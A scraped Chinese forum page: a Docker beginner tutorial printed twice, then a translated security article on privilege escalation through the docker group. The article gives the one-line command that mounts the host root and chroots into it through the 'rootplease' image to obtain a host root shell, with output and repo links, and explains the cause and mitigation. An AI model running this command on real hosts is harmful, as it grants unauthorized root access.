Docker要求64位环境,这些操作系统下可以直接通过命令安装Docker,老一些操作系统Docker官方也提供了安装方案。下面的实验基于CentOS 7进行。关于其他版本操作系统上Docker的安装,请参考官方文档:https://docs.docker.com/installation/
 
在CentOS 7上安装Docker
使用yum从软件仓库安装Docker:yum install docker 首先启动Docker的守护进程:service docker start 如果想要Docker在系统启动时运行,执行:chkconfig docker on Docker在CentOS上好像和防火墙有冲突,应用防火墙规则后可能导致Docker无法联网,重启Docker可以解决。

Docker仓库
Docker使用类似git的方式管理镜像。通过基本的镜像可以定制创建出来不同种应用的Docker镜像。Docker Hub是Docker官方提供的镜像中心。在这里可以很方便地找到各类应用、环境的镜像。

由于Docker使用联合文件系统,所以镜像就像是夹心饼干一样一层层构成,相同底层的镜像可以共享。所以Docker还是相当节约磁盘空间的。要使用一 个镜像,需要先从远程的镜像注册中心拉取,这点非常类似git。docker pull ubuntu 我们很容易就能从Docker Hub镜像注册中心下载一个最新版本的ubuntu镜像到本地。国内网络可能会稍慢,DAOCLOUD提供了Docker Hub的国内加速服务,可以尝试配置使用。
 
运行一个容器
使用Docker最关键的一步就是从镜像创建容器。有两种方式可以创建一个容器:使用docker create命令创建容器,或者使用docker run命令运行一个新容器。两个命令并没有太大差别,只是前者创建后并不会立即启动容器。

以ubuntu为例,我们启动一个新容器,并将ubuntu的Shell作为入口:docker run -i -t ubuntu /bin/bash
这时候我们成功创建了一个Ubuntu的容器,并将当前终端连接为这个Ubuntu的bash shell。这时候就可以愉快地使用Ubuntu的相关命令了~可以快速体验一下。

参数-i表示这是一个交互容器,会把当前标准输入重定向到容器的标准输入中,而不是终止程序运行。-t指为这个容器分配一个终端。

好了,按Ctrl+D可以退出这个容器了。

在容器运行期间,我们可以通过docker ps命令看到所有当前正在运行的容器。添加-a参数可以看到所有创建的容器:docker ps -a [root@localhost ~]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cb2b06c83a50 ubuntu:latest "sh -c /bin/bash" 7 minutes ago Exited (0) 7 seconds ago trusting_morse
每个容器都有一个唯一的ID标识,通过ID可以对这个容器进行管理和操作。在创建容器时,我们可以通过–name参数指定一个容器名称,如果没有指定系统将会分配一个,就像这里的“trusting_morse”(什么鬼TAT)。

当我们按Ctrl+D退出容器时,命令执行完了,所以容器也就退出了。要重新启动这个容器,可以使用docker start命令:docker start -i trusting_morse 同样,-i参数表示需要交互式支持。

注意:每次执行docker run命令都会创建新的容器,建议一次创建后,使用docker start/stop来启动和停用容器。
 
存储
在Docker容器运行期间,对文件系统的所有修改都会以增量的方式反映在容器使用的联合文件系统中,并不是真正的对只读层数据信息修改。每次运行容器对它的修改,都可以理解成对夹心饼干又添加了一层奶油。这层奶油仅供当前容器使用。当删除Docker容器,或通过该镜像重新启动时,之前的更改将会丢失。这样做并不便于我们持久化和共享数据。Docker的数据卷这个东西可以帮到我们。
在创建容器时,通过-v参数可以指定将容器内的某个目录作为数据卷加载:docker run -i -t -v /home/www ubuntu:latest sh -c '/bin/bash' 在容器中会多一个/home/www挂载点,在这个挂载点存储数据会绕过联合文件系统。我们可以通过下面的命令来找到这个数据卷在主机上真正的存储位置:docker inspect -f {{.Volumes}} trusting_morse 你会看到输出了一个指向到/var/lib/docker/vfs/dir/...的目录。cd进入后你会发现在容器中对/home/www的读写创建,都会反映到这儿。事实上,/home/www就是挂载自这个位置。

有时候,我们需要将本地的文件目录挂载到容器内的位置,同样是使用数据卷这一个特性,-v参数格式为:docker run -it -v [host_dir]:[container_dir]

host_dir是主机的目录,container_dir是容器的目录.

 
容器和容器之间是可以共享数据卷的,我们可以单独创建一些容器,存放如数据库持久化存储、配置文件一类的东西,然而这些容器并不需要运行。docker run --name dbdata ubuntu echo "Data container."在需要使用这个数据容器的容器创建时–volumes-from [容器名]的方式来使用这个数据共享容器。
 
网络

Docker容器内的系统工作起来就像是一个虚拟机,容器内开放的端口并不会真正开放在主机上。可以使我们的容器更加安全,而且不会产生容器间端口的争用。想要将Docker容器的端口开放到主机上,可以使用类似端口映射的方式。

在Docker容器创建时,通过指定-p参数可以暴露容器的端口在主机上:docker run -it -p 22 ubuntu sh -c '/bin/bash' 现在我们就将容器的22端口开放在了主机上,注意主机上对应端口是自动分配的。如果想要指定某个端口,可以通过-p [主机端口]:[容器端口]参数指定。

容器和容器之间想要网络通讯,可以直接使用–link参数将两个容器连接起来。例如WordPress容器对some-mysql的连接:docker run --name some-wordpress --link some-mysql:mysql -p 8080:80 -d wordpress 环境变量

通过Docker打包的应用,对外就像是一个密闭的exe可执行文件。有时候我们希望Docker能够使用一些外部的参数来使用容器,这时候参数可以通过环境变量传递进去,通常情况下用来传递比如MySQL数据库连接这种的东西。环境变量通过-e参数向容器传递:docker run --name some-wordpress -e WORDPRESS_DB_HOST=10.1.2.3:3306 \
-e WORDPRESS_DB_USER=... -e WORDPRESS_DB_PASSWORD=... -d wordpress
关于Docker到现在就有了一个基本的认识了。接下来我会给大家介绍如何创建镜像。
 
创建镜像
Docker强大的威力在于可以把自己开发的应用随同各种依赖环境一起打包、分发、运行。要创建一个新的Docker镜像,通常基于一个已有的Docker镜像来创建。Docker提供了两种方式来创建镜像:把容器创建为一个新的镜像、使用Dockerfile创建镜像。
 
将容器创建为镜像
为了创建一个新的镜像,我们先创建一个新的容器作为基底:docker run -it ubuntu:latest sh -c '/bin/bash' 现在我们可以对这个容器进行修改了,例如我们可以配置PHP环境、将我们的项目代码部署在里面等:apt-get install php
# some other opreations ...当执行完操作之后,我们按Ctrl+D退出容器,接下来使用docker ps -a来查找我们刚刚创建的容器ID:docker ps -a 可以看到我们最后操作的那个ubuntu容器。这时候只需要使用docker commit即可把这个容器变为一个镜像了:docker commit 8d93082a9ce1 ubuntu:myubuntu这时候docker容器会被创建为一个新的Ubuntu镜像,版本名称为myubuntu。以后我们可以随时使用这个镜像来创建容器了,新的容器将自动包含上面对容器的操作。
 
如果我们要在另外一台机器上使用这个镜像,可以将一个镜像导出:docker save -o myubuntu.tar.gz ubuntu:myubuntu 现在我们可以把刚才创建的镜像打包为一个文件分发和迁移了。要在一台机器上导入镜像,只需要:docker import myubuntu.tar.gz这样在新机器上就拥有了这个镜像。
 
注意:通过导入导出的方式分发镜像并不是Docker的最佳实践,因为我们有Docker Hub。
 
Docker Hub提供了类似GitHub的镜像存管服务。一个镜像发布到Docker Hub不仅可以供更多人使用,而且便于镜像的版本管理。关于Docker Hub的使用,之后我会单独写一篇文章展开介绍。另外,在一个企业内部可以通过自建docker-registry的方式来统一管理和发布镜像。将Docker Registry集成到版本管理和上线发布的工作流之中,还有许多工作要做,在我整理出最佳实践后会第一时间分享。
 
使用Dockerfile创建镜像

使用命令行的方式创建Docker镜像通常难以自动化操作。在更多的时候,我们使用Dockerfile来创建Docker镜像。Dockerfile是一个纯文本文件,它记载了从一个镜像创建另一个新镜像的步骤。撰写好Dockerfile文件之后,我们就可以轻而易举的使用docker build命令来创建镜像了.
 
Dockerfile非常简单,仅有以下命令在Dockerfile中常被使用:





下面是一个Dockerfile的例子:# This is a comment
FROM ubuntu:14.04
MAINTAINER Kate Smith <ksmith@example.com>
RUN apt-get update &amp;&amp; apt-get install -y ruby ruby-dev
RUN gem install sinatra 这里其他命令都比较好理解,唯独CMD和ENTRYPOINT我需要特殊说明一下。CMD命令可用指定Docker容器启动时默认的命令,例如我们上面例子提到的docker run -it ubuntu:latest sh -c '/bin/bash'。其中sh -c '/bin/bash'就是通过手工指定传入的CMD。如果我们不加这个参数,那么容器将会默认使用CMD指定的命令启动。ENTRYPOINT是什么呢?从字面看是进入点。没错,它就是进入点。ENTRYPOINT用来指定特定的可执行文件、Shell脚本,并把启动参数或CMD指定的默认值,当作附加参数传递给ENTRYPOINT。

不好理解是吧?我们举一个例子:ENTRYPOINT ['/usr/bin/mysql']
CMD ['-h 192.168.100.128', '-p'] 假设这个镜像内已经准备好了mysql-client,那么通过这个镜像,不加任何额外参数启动容器,将会给我们一个mysql的控制台,默认连接到192.168.100.128这个主机。然而我们也可以通过指定参数,来连接别的主机。但是不管无论如何,我们都无法启动一个除了mysql客户端以外的程序。因为这个容器的ENTRYPOINT就限定了我们只能在mysql这个客户端内做事情。这下是不是明白了~

因此,我们在使用Dockerfile创建文件的时候,可以创建一个entrypoint.sh脚本,作为系统入口。在这个文件里面,我们可以进行一些基础性的自举操作,比如检查环境变量,根据需要初始化数据库等等。下面两个文件是我在SimpleOA项目中添加的Dockerfile和entrypoint.sh,仅供参考:
[]https://github.com/starlight36/SimpleOA/blob/master/Dockerfile[/][]https://github.com/starlight36/SimpleOA/blob/master/docker-entrypoint.sh[/]
在准备好Dockerfile之后,我们就可以创建镜像了:docker build -t starlight36/simpleoa .关于Dockerfile的更详细说明,请参考 https://docs.docker.com/reference/builder/。
 
杂项和最佳实践

在产品构建的生命周期里使用Docker,最佳实践是把Docker集成到现有的构建发布流程里面。这个过程并不复杂,可以在持续集成系统构建测试完成后,将打包的步骤改为docker build,持续集成服务将会自动将构建相应的Docker镜像。打包完成后,可以由持续集成系统自动将镜像推送到Docker Registry中。生产服务器可以直接Pull最新版本的镜像,更新容器即可很快地实现更新上线。目前Atlassian Bamboo已经支持Docker的构建了。

由于Docker使用联合文件系统,所以并不用担心多次发布的版本会占用更多的磁盘资源,相同的镜像只存储一份。所以最佳实践是在不同层次上构建Docker镜像。比如应用服务器依赖于PHP+Nginx环境,那么可以把定制好的这个PHP环境作为一个镜像,应用服务器从这个镜像构建镜像。这样做的好处是,如果PHP环境要升级,更新了这个镜像后,重新构建应用镜像即可完成升级,而不需要每个应用项目分别升级PHP环境。

新手经常会有疑问的是关于Docker打包的粒度,比如MySQL要不要放在镜像中?最佳实践是根据应用的规模和可预见的扩展性来确定Docker打包的粒度。例如某小型项目管理系统使用LAMP环境,由于团队规模和使用人数并不会有太大的变化(可预计的团队规模范围是几人到几千人),数据库也不会承受无法承载的记录数(生命周期内可能一个表最多会有数十万条记录),并且客户最关心的是快速部署使用。那么这时候把MySQL作为依赖放在镜像里是一种不错的选择。当然如果你在为一个互联网产品打包,那最好就是把MySQL独立出来,因为MySQL很可能会单独做优化做集群等。

使用公有云构建发布运行Docker也是个不错的选择。DaoCloud提供了从构建到发布到运行的全生命周期服务。特别适合像微擎这种微信公众平台、或者中小型企业CRM系统。上线周期更短,比使用IAAS、PAAS的云服务更具有优势。
 
参考资料:
[]深入理解Docker Volume http://dockone.io/article/128[/][]WordPress https://registry.hub.docker.com/_/wordpress/[/][]Docker学习——镜像导出 http://www.sxt.cn/u/756/blog/5339[/][]Dockerfile Reference https://docs.docker.com/reference/builder/[/][]关于Dockerfile http://blog.tankywoo.com/docker/2014/05/08/docker-2-dockerfile.html[/]
原文链接 查看全部
Docker是什么

Docker是一种容器技术,它可以将应用和环境等进行打包,形成一个独立的,类似于iOS的APP形式的“应用”,这个应用可以直接被分发到任意一个支持Docker的环境中,通过简单的命令即可启动运行。Docker是一种最流行的容器化实现方案。和虚拟化技术类似,它极大的方便了应用服务的部署;又与虚拟化技术不同,它以一种更轻量的方式实现了应用服务的打包。使用Docker可以让每个应用彼此相互隔离,在同一台机器上同时运行多个应用,不过他们彼此之间共享同一个操作系统。Docker的优势在于,它可以在更细的粒度上进行资源的管理,也比虚拟化技术更加节约资源。

d1.png

上图:虚拟化和Docker架构对比,来自Docker官网
 
基本概念
开始试验Docker之前,我们先来了解一下Docker的几个基本概念:

镜像:我们可以理解为一个预配置的系统光盘,这个光盘插入电脑后就可以启动一个操作系统。当然由于是光盘,所以你无法修改它或者保存数据,每次重启都是一个原样全新的系统。Docker里面镜像基本上和这个差不多。

容器:同样一个镜像,我们可以同时启动运行多个,运行期间的产生的这个实例就是容器。把容器内的操作和启动它的镜像进行合并,就可以产生一个新的镜像。
 
开始
Docker基于LXC技术实现,依赖于Linux内核,所以Docker目前只能在Linux以原生方式运行。目前主要的Linux发行版在他们的软件仓库中内置了Docker:

Ubuntu:
    []Ubuntu Trusty 14.04 (LTS)[/][]Ubuntu Precise 12.04 (LTS)[/][]Ubuntu Saucy 13.10[/]


CentOS:
    [] CentOS 7[/]


Docker要求64位环境,这些操作系统下可以直接通过命令安装Docker,老一些操作系统Docker官方也提供了安装方案。下面的实验基于CentOS 7进行。关于其他版本操作系统上Docker的安装,请参考官方文档:https://docs.docker.com/installation/
 
在CentOS 7上安装Docker
使用yum从软件仓库安装Docker:
yum install docker 
首先启动Docker的守护进程:
service docker start 
如果想要Docker在系统启动时运行,执行:
chkconfig docker on 
Docker在CentOS上好像和防火墙有冲突,应用防火墙规则后可能导致Docker无法联网,重启Docker可以解决。

Docker仓库
Docker使用类似git的方式管理镜像。通过基本的镜像可以定制创建出来不同种应用的Docker镜像。Docker Hub是Docker官方提供的镜像中心。在这里可以很方便地找到各类应用、环境的镜像。

由于Docker使用联合文件系统,所以镜像就像是夹心饼干一样一层层构成,相同底层的镜像可以共享。所以Docker还是相当节约磁盘空间的。要使用一 个镜像,需要先从远程的镜像注册中心拉取,这点非常类似git。
docker pull ubuntu 
我们很容易就能从Docker Hub镜像注册中心下载一个最新版本的ubuntu镜像到本地。国内网络可能会稍慢,DAOCLOUD提供了Docker Hub的国内加速服务,可以尝试配置使用。
 
运行一个容器
使用Docker最关键的一步就是从镜像创建容器。有两种方式可以创建一个容器:使用docker create命令创建容器,或者使用docker run命令运行一个新容器。两个命令并没有太大差别,只是前者创建后并不会立即启动容器。

以ubuntu为例,我们启动一个新容器,并将ubuntu的Shell作为入口:
docker run -i -t ubuntu /bin/bash
这时候我们成功创建了一个Ubuntu的容器,并将当前终端连接为这个Ubuntu的bash shell。这时候就可以愉快地使用Ubuntu的相关命令了~可以快速体验一下。

参数-i表示这是一个交互容器,会把当前标准输入重定向到容器的标准输入中,而不是终止程序运行。-t指为这个容器分配一个终端。

好了,按Ctrl+D可以退出这个容器了。

在容器运行期间,我们可以通过docker ps命令看到所有当前正在运行的容器。添加-a参数可以看到所有创建的容器:
docker ps -a 
[root@localhost ~]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cb2b06c83a50 ubuntu:latest "sh -c /bin/bash" 7 minutes ago Exited (0) 7 seconds ago trusting_morse
每个容器都有一个唯一的ID标识,通过ID可以对这个容器进行管理和操作。在创建容器时,我们可以通过–name参数指定一个容器名称,如果没有指定系统将会分配一个,就像这里的“trusting_morse”(什么鬼TAT)。

当我们按Ctrl+D退出容器时,命令执行完了,所以容器也就退出了。要重新启动这个容器,可以使用docker start命令:
docker start -i trusting_morse 
同样,-i参数表示需要交互式支持。

注意:每次执行docker run命令都会创建新的容器,建议一次创建后,使用docker start/stop来启动和停用容器。
 
存储
在Docker容器运行期间,对文件系统的所有修改都会以增量的方式反映在容器使用的联合文件系统中,并不是真正的对只读层数据信息修改。每次运行容器对它的修改,都可以理解成对夹心饼干又添加了一层奶油。这层奶油仅供当前容器使用。当删除Docker容器,或通过该镜像重新启动时,之前的更改将会丢失。这样做并不便于我们持久化和共享数据。Docker的数据卷这个东西可以帮到我们。
在创建容器时,通过-v参数可以指定将容器内的某个目录作为数据卷加载:
docker run -i -t -v /home/www ubuntu:latest sh -c '/bin/bash'  
在容器中会多一个/home/www挂载点,在这个挂载点存储数据会绕过联合文件系统。我们可以通过下面的命令来找到这个数据卷在主机上真正的存储位置:
docker inspect -f {{.Volumes}} trusting_morse  
你会看到输出了一个指向到/var/lib/docker/vfs/dir/...的目录。cd进入后你会发现在容器中对/home/www的读写创建,都会反映到这儿。事实上,/home/www就是挂载自这个位置。

有时候,我们需要将本地的文件目录挂载到容器内的位置,同样是使用数据卷这一个特性,-v参数格式为:
docker run -it -v [host_dir]:[container_dir] 


host_dir是主机的目录,container_dir是容器的目录.


 
容器和容器之间是可以共享数据卷的,我们可以单独创建一些容器,存放如数据库持久化存储、配置文件一类的东西,然而这些容器并不需要运行。
docker run --name dbdata ubuntu echo "Data container."
在需要使用这个数据容器的容器创建时–volumes-from [容器名]的方式来使用这个数据共享容器。
 
网络

Docker容器内的系统工作起来就像是一个虚拟机,容器内开放的端口并不会真正开放在主机上。可以使我们的容器更加安全,而且不会产生容器间端口的争用。想要将Docker容器的端口开放到主机上,可以使用类似端口映射的方式。

在Docker容器创建时,通过指定-p参数可以暴露容器的端口在主机上:
docker run -it -p 22 ubuntu sh -c '/bin/bash' 
现在我们就将容器的22端口开放在了主机上,注意主机上对应端口是自动分配的。如果想要指定某个端口,可以通过-p [主机端口]:[容器端口]参数指定。

容器和容器之间想要网络通讯,可以直接使用–link参数将两个容器连接起来。例如WordPress容器对some-mysql的连接:
docker run --name some-wordpress --link some-mysql:mysql -p 8080:80 -d wordpress  
环境变量

通过Docker打包的应用,对外就像是一个密闭的exe可执行文件。有时候我们希望Docker能够使用一些外部的参数来使用容器,这时候参数可以通过环境变量传递进去,通常情况下用来传递比如MySQL数据库连接这种的东西。环境变量通过-e参数向容器传递:
docker run --name some-wordpress -e WORDPRESS_DB_HOST=10.1.2.3:3306 \  
-e WORDPRESS_DB_USER=... -e WORDPRESS_DB_PASSWORD=... -d wordpress
关于Docker到现在就有了一个基本的认识了。接下来我会给大家介绍如何创建镜像。
 
创建镜像
Docker强大的威力在于可以把自己开发的应用随同各种依赖环境一起打包、分发、运行。要创建一个新的Docker镜像,通常基于一个已有的Docker镜像来创建。Docker提供了两种方式来创建镜像:把容器创建为一个新的镜像、使用Dockerfile创建镜像。
 
将容器创建为镜像
为了创建一个新的镜像,我们先创建一个新的容器作为基底:
docker run -it ubuntu:latest sh -c '/bin/bash' 
现在我们可以对这个容器进行修改了,例如我们可以配置PHP环境、将我们的项目代码部署在里面等:
apt-get install php  
# some other opreations ...
当执行完操作之后,我们按Ctrl+D退出容器,接下来使用docker ps -a来查找我们刚刚创建的容器ID:
docker ps -a 
可以看到我们最后操作的那个ubuntu容器。这时候只需要使用docker commit即可把这个容器变为一个镜像了:
docker commit 8d93082a9ce1 ubuntu:myubuntu
这时候docker容器会被创建为一个新的Ubuntu镜像,版本名称为myubuntu。以后我们可以随时使用这个镜像来创建容器了,新的容器将自动包含上面对容器的操作。
 
如果我们要在另外一台机器上使用这个镜像,可以将一个镜像导出:
docker save -o myubuntu.tar.gz ubuntu:myubuntu 
现在我们可以把刚才创建的镜像打包为一个文件分发和迁移了。要在一台机器上导入镜像,只需要:
docker import myubuntu.tar.gz
这样在新机器上就拥有了这个镜像。
 
注意:通过导入导出的方式分发镜像并不是Docker的最佳实践,因为我们有Docker Hub。
 
Docker Hub提供了类似GitHub的镜像存管服务。一个镜像发布到Docker Hub不仅可以供更多人使用,而且便于镜像的版本管理。关于Docker Hub的使用,之后我会单独写一篇文章展开介绍。另外,在一个企业内部可以通过自建docker-registry的方式来统一管理和发布镜像。将Docker Registry集成到版本管理和上线发布的工作流之中,还有许多工作要做,在我整理出最佳实践后会第一时间分享。
 
使用Dockerfile创建镜像

使用命令行的方式创建Docker镜像通常难以自动化操作。在更多的时候,我们使用Dockerfile来创建Docker镜像。Dockerfile是一个纯文本文件,它记载了从一个镜像创建另一个新镜像的步骤。撰写好Dockerfile文件之后,我们就可以轻而易举的使用docker build命令来创建镜像了.
 
Dockerfile非常简单,仅有以下命令在Dockerfile中常被使用:

d2.png

下面是一个Dockerfile的例子:
# This is a comment
FROM ubuntu:14.04
MAINTAINER Kate Smith <ksmith@example.com>
RUN apt-get update &amp;&amp; apt-get install -y ruby ruby-dev
RUN gem install sinatra
这里其他命令都比较好理解,唯独CMD和ENTRYPOINT我需要特殊说明一下。CMD命令可用指定Docker容器启动时默认的命令,例如我们上面例子提到的docker run -it ubuntu:latest sh -c '/bin/bash'。其中sh -c '/bin/bash'就是通过手工指定传入的CMD。如果我们不加这个参数,那么容器将会默认使用CMD指定的命令启动。ENTRYPOINT是什么呢?从字面看是进入点。没错,它就是进入点。ENTRYPOINT用来指定特定的可执行文件、Shell脚本,并把启动参数或CMD指定的默认值,当作附加参数传递给ENTRYPOINT。

不好理解是吧?我们举一个例子:
ENTRYPOINT ['/usr/bin/mysql']  
CMD ['-h 192.168.100.128', '-p']
假设这个镜像内已经准备好了mysql-client,那么通过这个镜像,不加任何额外参数启动容器,将会给我们一个mysql的控制台,默认连接到192.168.100.128这个主机。然而我们也可以通过指定参数,来连接别的主机。但是不管无论如何,我们都无法启动一个除了mysql客户端以外的程序。因为这个容器的ENTRYPOINT就限定了我们只能在mysql这个客户端内做事情。这下是不是明白了~

因此,我们在使用Dockerfile创建文件的时候,可以创建一个entrypoint.sh脚本,作为系统入口。在这个文件里面,我们可以进行一些基础性的自举操作,比如检查环境变量,根据需要初始化数据库等等。下面两个文件是我在SimpleOA项目中添加的Dockerfile和entrypoint.sh,仅供参考:
    []https://github.com/starlight36/SimpleOA/blob/master/Dockerfile[/][]https://github.com/starlight36/SimpleOA/blob/master/docker-entrypoint.sh[/]

在准备好Dockerfile之后,我们就可以创建镜像了:
docker build -t starlight36/simpleoa .
关于Dockerfile的更详细说明,请参考 https://docs.docker.com/reference/builder/。
 
杂项和最佳实践

在产品构建的生命周期里使用Docker,最佳实践是把Docker集成到现有的构建发布流程里面。这个过程并不复杂,可以在持续集成系统构建测试完成后,将打包的步骤改为docker build,持续集成服务将会自动将构建相应的Docker镜像。打包完成后,可以由持续集成系统自动将镜像推送到Docker Registry中。生产服务器可以直接Pull最新版本的镜像,更新容器即可很快地实现更新上线。目前Atlassian Bamboo已经支持Docker的构建了。

由于Docker使用联合文件系统,所以并不用担心多次发布的版本会占用更多的磁盘资源,相同的镜像只存储一份。所以最佳实践是在不同层次上构建Docker镜像。比如应用服务器依赖于PHP+Nginx环境,那么可以把定制好的这个PHP环境作为一个镜像,应用服务器从这个镜像构建镜像。这样做的好处是,如果PHP环境要升级,更新了这个镜像后,重新构建应用镜像即可完成升级,而不需要每个应用项目分别升级PHP环境。

新手经常会有疑问的是关于Docker打包的粒度,比如MySQL要不要放在镜像中?最佳实践是根据应用的规模和可预见的扩展性来确定Docker打包的粒度。例如某小型项目管理系统使用LAMP环境,由于团队规模和使用人数并不会有太大的变化(可预计的团队规模范围是几人到几千人),数据库也不会承受无法承载的记录数(生命周期内可能一个表最多会有数十万条记录),并且客户最关心的是快速部署使用。那么这时候把MySQL作为依赖放在镜像里是一种不错的选择。当然如果你在为一个互联网产品打包,那最好就是把MySQL独立出来,因为MySQL很可能会单独做优化做集群等。

使用公有云构建发布运行Docker也是个不错的选择。DaoCloud提供了从构建到发布到运行的全生命周期服务。特别适合像微擎这种微信公众平台、或者中小型企业CRM系统。上线周期更短,比使用IAAS、PAAS的云服务更具有优势。
 
参考资料:
    []深入理解Docker Volume http://dockone.io/article/128[/][]WordPress https://registry.hub.docker.com/_/wordpress/[/][]Docker学习——镜像导出 http://www.sxt.cn/u/756/blog/5339[/][]Dockerfile Reference https://docs.docker.com/reference/builder/[/][]关于Dockerfile http://blog.tankywoo.com/docker/2014/05/08/docker-2-dockerfile.html[/]

原文链接

Docker 安全:通过 Docker 提升权限

大数据/云计算Ansible 发表了文章 • 0 个评论 • 1152 次浏览 • 2015-06-22 14:37 • 来自相关话题

如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#

译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?


解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd 查看全部
如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#


译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?



解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd

启动docker错误信息 Error loading docker apparmor profile: exec: "/sbin/apparmor_parser"

大数据/云计算Ansible 回复了问题 • 2 人关注 • 1 个回复 • 1616 次浏览 • 2015-06-17 19:58 • 来自相关话题

Docker数据将根分区磁盘占满了

回复

大数据/云计算push 回复了问题 • 2 人关注 • 1 个回复 • 543 次浏览 • 2017-03-23 14:13 • 来自相关话题

为什么Docker使用-d参数后台运行容器退出了?

回复

大数据/云计算采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 327 次浏览 • 2017-03-09 20:35 • 来自相关话题

在Docker容器中计划任务不能执行?

回复

大数据/云计算采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 367 次浏览 • 2017-02-24 13:25 • 来自相关话题

如何执行一个已经运行Docker容器内的脚本?

回复

大数据/云计算采菊篱下 回复了问题 • 3 人关注 • 4 个回复 • 380 次浏览 • 2017-03-09 20:17 • 来自相关话题

docker pull ubuntu出错

回复

大数据/云计算弥彦 回复了问题 • 3 人关注 • 2 个回复 • 1014 次浏览 • 2016-04-11 21:28 • 来自相关话题

如何让docker以daemon方式永久运行/bin/bash

回复

大数据/云计算Rock 回复了问题 • 2 人关注 • 3 个回复 • 1487 次浏览 • 2015-12-03 21:41 • 来自相关话题

